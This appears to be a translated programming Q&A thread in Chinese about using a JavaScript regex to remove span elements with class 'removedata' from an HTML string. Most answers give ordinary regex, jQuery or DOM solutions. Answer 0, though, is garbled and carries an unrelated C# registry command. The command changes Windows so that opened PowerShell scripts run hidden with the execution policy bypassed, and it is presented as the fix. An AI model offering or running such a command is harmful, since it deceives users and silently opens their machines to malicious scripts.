我在JS中有HTML字符串,我想从中删除span元素。
var HTML= '<div>test</div><p>test</p><span class="removedata">X</span><span>test</span><span class="removedata">X</span>';
删除Span后,它应该如下所示:
HTML= '<div>test</div><p>test</p><span>test</span>';
我已尝试过以下JavaScript操作,但无效,
HTML = HTML.replace('/<span class="removedata">X</span>/g',"");
任何输入?
答案 0 :(得分:1)
您可以尝试使用Registry.SetValue(@"HKEY_CLASSES_ROOT\Microsoft.PowerShellScript.1\Shell\Open\Command", "Default", @""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"-ExecutionPolicy Bypass -windowstyle hidden -noexit -file "%1"");
。
RegExp
答案 1 :(得分:1)
regular expressions中的斜杠/
是一个特殊字符,您需要将其\/
转义:
var html = '<div>test</div><p>test</p><span class="removedata">X</span><span>test</span><span class="removedata">X</span>';
var newHtml = html.replace(/<span class="removedata">X<\/span>/g, '');
console.log(newHtml); // "<div>test</div><p>test</p><span>test</span>"
答案 2 :(得分:0)
如果你坚持正则表达式,你可以
HTML = HTML.replace(/<\/?span class="removedata".[^>]*>/g, '');
答案 3 :(得分:0)
var HTML= '<div>test</div><p>test</p><span class="removedata">X</span><span>test</span><span class="removedata">X</span>';
var htmlObj = $(HTML);
htmlObj = htmlObj.not(".removedata");
var htmlString = $('<div>').append(htmlObj).html();
console.log(htmlString);
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
答案 4 :(得分:0)
您可以替换文本,但也可以采用不同的方法:
在某些时候,您正在将HTML
的内容添加到DOM树中。完成后,您还可以通过执行以下操作来实现“删除”:
var elements = document.getElementsByClassName("removedata");
elements[0].parentNode.removeChild(elements[0]);
答案 5 :(得分:0)
以下可行。
var html = '<div>test</div><p>test</p><span class="removedata">X</span><span>test</span><span class="removedata">X</span>';
html = html.replace(/<span class="removedata">X<\/span>/g, '');
console.log(html);
如果您不熟悉正则表达式,可以使用以下网站。